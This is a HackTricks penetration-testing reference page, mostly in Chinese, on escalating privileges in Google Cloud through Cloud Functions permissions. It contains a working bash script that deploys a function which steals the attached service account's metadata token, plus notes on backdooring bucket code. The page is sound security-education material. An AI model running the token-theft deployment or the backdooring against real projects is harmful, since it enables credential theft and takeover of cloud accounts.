GCP - Cloudfunctions Privesc

支持 HackTricks

cloudfunctions

有关 Cloud Functions 的更多信息:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

拥有这些权限的攻击者可以 创建一个带有任意(恶意)代码的新 Cloud Function,并将其分配给一个服务账户。然后,从元数据中泄露服务账户令牌以提升权限。 可能需要一些权限来触发该函数。

此方法的利用脚本可以在 这里这里 找到,预构建的 .zip 文件可以在 这里 找到。

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

拥有这些权限的攻击者可以 修改函数的代码,甚至修改附加的服务账户,以提取令牌。

为了部署云函数,您还需要对默认计算服务账户或用于构建映像的服务账户具有 actAs 权限。

可能需要一些额外的权限,例如版本 1 cloudfunctions 的 .call 权限或角色 role/run.invoker 来触发该函数。

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

如果您收到错误 Permission 'run.services.setIamPolicy' denied on resource...,这意味着您正在使用 --allow-unauthenticated 参数,并且您没有足够的权限。

此方法的利用脚本可以在 这里 找到。

cloudfunctions.functions.sourceCodeSet

通过此权限,您可以获取一个签名的 URL,以便能够将文件上传到函数存储桶(但函数的代码不会被更改,您仍然需要更新它)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

从攻击者的角度来看,仅有这个权限的实用性不太确定,但知道这一点是好的。

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

给自己任何之前的 .update.create 权限以进行升级。

cloudfunctions.functions.update

仅拥有 cloudfunctions 权限,而没有 iam.serviceAccounts.actAs,你 将无法更新函数,因此这不是一个有效的权限提升。

对存储桶的读写访问

如果你对存储桶有读写访问权限,你可以监控代码的变化,并且每当 存储桶中发生更新时,你可以用自己的代码更新新代码,这样新版本的 Cloud Function 将运行提交的后门代码。

你可以在以下链接中查看更多关于攻击的信息:

GCP - Storage Privesc

然而,你不能用这个来预先攻陷第三方 Cloud Functions,因为如果你在你的账户中创建存储桶并给予公共权限以便外部项目可以写入,你会收到以下错误:

然而,这可以用于 DoS 攻击。

对 Artifact Registry 的读写访问

当创建 Cloud Function 时,一个新的 docker 镜像会被推送到项目的 Artifact Registry。我尝试用一个新的镜像修改当前镜像,甚至删除当前镜像(和 cache 镜像),但没有任何变化,cloud function 继续工作。因此,也许 可能会利用竞争条件攻击,像对存储桶那样更改将要运行的 docker 容器,但 仅仅修改存储的镜像并不能攻陷 Cloud Function

参考文献

支持 HackTricks

Last updated